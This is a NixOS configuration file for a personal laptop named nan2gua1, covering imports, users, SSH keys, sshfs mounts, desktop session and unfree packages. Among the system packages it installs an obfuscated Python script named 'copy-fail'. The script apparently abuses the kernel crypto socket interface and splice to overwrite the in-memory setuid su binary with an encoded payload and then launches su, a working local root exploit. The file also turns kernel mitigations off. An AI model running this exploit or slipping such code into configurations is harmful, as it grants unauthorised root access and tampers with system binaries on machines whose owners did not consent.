hosts/nan2gua1.nix

   1 {
   2   config,
   3   pkgs,
   4   lib,
   5   ...
   6 }:
   7 {
   8   imports = [
   9     ../nixos/profiles/appimage.nix
  10     ../nixos/profiles/bluetooth.nix
  11     ../nixos/profiles/builder.nix
  12     ../nixos/profiles/debug.nix
  13     ../nixos/profiles/dolphin.nix
  14     ../nixos/profiles/flatpak.nix
  15     ../nixos/profiles/graphical.nix
  16     ../nixos/profiles/home.nix
  17     ../nixos/profiles/irssi.nix
  18     ../nixos/profiles/lang-fr.nix
  19     ../nixos/profiles/laptop.nix
  20     ../nixos/profiles/printing.nix
  21     #../nixos/profiles/radio.nix
  22     ../nixos/profiles/steam.nix
  23     nan2gua1/hardware.nix
  24     nan2gua1/nebula.nix
  25     nan2gua1/networking.nix
  26     nan2gua1/podman.nix
  27     #nan2gua1/pgadmin.nix
  28     nan2gua1/postgresql.nix
  29     nan2gua1/sanoid.nix
  30     nan2gua1/syncoid.nix
  31     nan2gua1/tor.nix
  32   ];
  33
  34   # Lower kernel's security for better performances
  35   security.kernel.mitigations = "off";
  36   systemd.coredump.enable = true;
  37
  38   home-manager.users.julm = {
  39     imports = [ ../homes/julm.nix ];
  40   };
  41   users.users.root = {
  42     openssh.authorizedKeys.keys = map lib.readFile [
  43       # For nix -L run .#$(hostname).switch
  44       ../users/julm/ssh/nan2gua1.pub
  45     ];
  46   };
  47   users.users.julm = {
  48     isNormalUser = true;
  49     uid = 1000;
  50     # Put the hashedPassword in /nix/store,
  51     # though /etc/shadow is not world readable...
  52     # printf %s $(mkpasswd -m md5crypt)
  53     hashedPassword = lib.readFile pumpkin/users/julm/login/hashedPassword.clear;
  54     extraGroups = [
  55       "adbusers"
  56       "dialout"
  57       "lp"
  58       "networkmanager"
  59       "plugdev" # For rtl-sdr
  60       "scanner"
  61       "tor"
  62       "tss" # For tpm2
  63       "video"
  64       "wheel"
  65       "wireshark"
  66       #"ipfs"
  67       #config.services.davfs2.davGroup
  68       config.services.kubo.group
  69       #"vboxusers"
  70     ];
  71     # If created, zfs-mount.service would require:
  72     # zfs set overlay=yes ${hostName}/home
  73     createHome = false;
  74     openssh.authorizedKeys.keys = map lib.readFile [
  75       ../users/julm/ssh/losurdo.pub
  76       ../users/julm/ssh/pumpkin.pub
  77     ];
  78   };
  79
  80   nix = {
  81     settings = {
  82       substituters = [
  83         #"http://nix-localcache.losurdo.sp"
  84         #"file:///mnt/off4/julm/nix?priority=10&trusted=true"
  85         #"ssh://nix-ssh@losurdo.sp?priority=30"
  86       ];
  87       trusted-public-keys = map lib.readFile [
  88         #../users/nix/ssh/losurdo.pub
  89       ];
  90     };
  91   };
  92   #environment.etc."nixpkgs".source = pkgs.path;
  93   #environment.etc."nixpkgs-overlays".source = inputs.self + "/nixpkgs";
  94
  95   nix.settings.allowed-users = [
  96     #config.users.users."nix-ssh".name
  97   ];
  98   nix.sshServe = {
  99     #enable = true;
 100     keys = map lib.readFile [
 101       ../users/julm/ssh/losurdo.pub
 102       ../users/julm/ssh/pumpkin.pub
 103       ../users/julm/ssh/nan2gua1.pub
 104       ../users/sevy/ssh/patate.pub
 105     ];
 106   };
 107
 108   environment.systemPackages = [
 109     pkgs.python3
 110     (pkgs.writeScriptBin "copy-fail" ''
 111       #!/usr/bin/env python3
 112       import os as g,zlib,socket as s
 113       def d(x):return bytes.fromhex(x)
 114       def c(f,t,c):
 115        a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 116        try:u.recv(8+t)
 117        except:0
 118       f=g.open("${lib.getExe' pkgs.shadow.su "su"}",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
 119       while i<len(e):c(f,i,e[i:i+4]);i+=4
 120       g.system("su")
 121     '')
 122     #pkgs.riseup-vpn # Can't be installed by home-manager because it needs to install policy-kit rules
 123   ];
 124
 125   boot.extraModulePackages = [
 126     #config.boot.kernelPackages.v4l2loopback
 127   ];
 128
 129   programs.fuse.userAllowOther = true;
 130
 131   #services.davfs2.enable = true;
 132
 133   systemd.automounts = [
 134     {
 135       where = "/mnt/aubergine";
 136       automountConfig.TimeoutIdleSec = "5 min";
 137     }
 138   ];
 139   fileSystems =
 140     let
 141       # Use the user's gpg-agent session to query
 142       # for the password of the SSH key when auto-mounting.
 143       sshAsUser = pkgs.writeScript "sshAsUser" ''
 144         user="$1"; shift
 145         exec ${pkgs.sudo}/bin/sudo -i -u "$user" \
 146           ${pkgs.openssh}/bin/ssh "$@"
 147       '';
 148       options = [
 149         "user"
 150         "uid=julm"
 151         "gid=users"
 152         "allow_other"
 153         "exec" # Override "user"'s noexec
 154         "noatime"
 155         "nosuid"
 156         "_netdev"
 157         "ssh_command=${sshAsUser}\\040julm"
 158         "noauto"
 159         "x-gvfs-hide"
 160         "x-systemd.automount"
 161         #"Compression=yes" # YMMV
 162         # Disconnect approximately 2*15=30 seconds after a network failure
 163         "ServerAliveCountMax=1"
 164         "ServerAliveInterval=15"
 165         "dir_cache=no"
 166         #"reconnect"
 167       ];
 168     in
 169     {
 170       "/mnt/aubergine" = {
 171         device = "${pkgs.sshfs-fuse}/bin/sshfs#julm@aubergine.sp:/";
 172         fsType = "fuse";
 173         inherit options;
 174       };
 175       "/mnt/losurdo" = {
 176         device = "${pkgs.sshfs-fuse}/bin/sshfs#julm@losurdo.sp:/";
 177         fsType = "fuse";
 178         inherit options;
 179       };
 180       "/mnt/mermet" = {
 181         device = "${pkgs.sshfs-fuse}/bin/sshfs#julm@mermet.sp:/";
 182         fsType = "fuse";
 183         inherit options;
 184       };
 185       /*
 186         "/mnt/ilico/severine" = {
 187           device = "https://nuage.ilico.org/remote.php/dav/files/severine/";
 188           fsType = "davfs";
 189           options =
 190             let
 191               conf = pkgs.writeText "davfs2.conf" ''
 192                 backup_dir /home/julm/.local/share/davfs2/ilico/severine
 193                 secrets /home/julm/.davfs2/secrets
 194               '';
 195             in
 196             [
 197               "conf=${conf}"
 198               "user"
 199               "noexec"
 200               "nosuid"
 201               "noauto"
 202               "nofail"
 203               "_netdev"
 204               "reconnect"
 205               "x-systemd.automount"
 206               "x-systemd.device-timeout=1m"
 207               "x-systemd.idle-timeout=1m"
 208               "x-systemd.mount-timeout=10s"
 209             ];
 210         };
 211       */
 212     };
 213
 214   services.udev.packages = [
 215     # Allow the console user access the Yubikey USB device node,
 216     # needed for challenge/response to work correctly.
 217     pkgs.yubikey-personalization
 218   ];
 219
 220   services.xserver = {
 221     xkb = {
 222       layout = "fr,us(altgr-intl)";
 223     };
 224     desktopManager = {
 225       session = [
 226         # Let the session be generated by home-manager
 227         {
 228           name = "home-manager";
 229           start = ''
 230             ${pkgs.runtimeShell} $HOME/.hm-xsession &
 231             waitPID=$!
 232           '';
 233         }
 234       ];
 235     };
 236   };
 237
 238   services.displayManager = {
 239     defaultSession = "home-manager";
 240     #defaultSession = "none+xmonad";
 241     #defaultSession = "mate";
 242     #defaultSession = "cinnamon";
 243     autoLogin = {
 244       user = config.users.users.julm.name;
 245     };
 246   };
 247
 248   nixpkgs.config.allowUnfreePredicate =
 249     pkg:
 250     builtins.elem (lib.getName pkg) [
 251       "canon-cups-ufr2"
 252       "cuda_cccl"
 253       "cuda_cudart"
 254       "cuda_cupti"
 255       "cuda_nvcc"
 256       "cuda_nvrtc"
 257       "cuda_nvtx"
 258       "cudnn"
 259       "geogebra"
 260       "hplip"
 261       "libcublas"
 262       "libcufft"
 263       "libcurand"
 264       "libcusolver"
 265       "libcusparse"
 266       "libnvjitlink"
 267       "memtest86-efi"
 268       "shipwright"
 269       "steam"
 270       "steam-unwrapped"
 271       "synthesia"
 272       "torch"
 273       "triton"
 274     ];
 275
 276   # This value determines the NixOS release with which your system is to be
 277   # compatible, in order to avoid breaking some software such as database
 278   # servers. You should change this only after NixOS release notes say you should.
 279   system.stateVersion = "25.05"; # Did you read the comment?
 280 }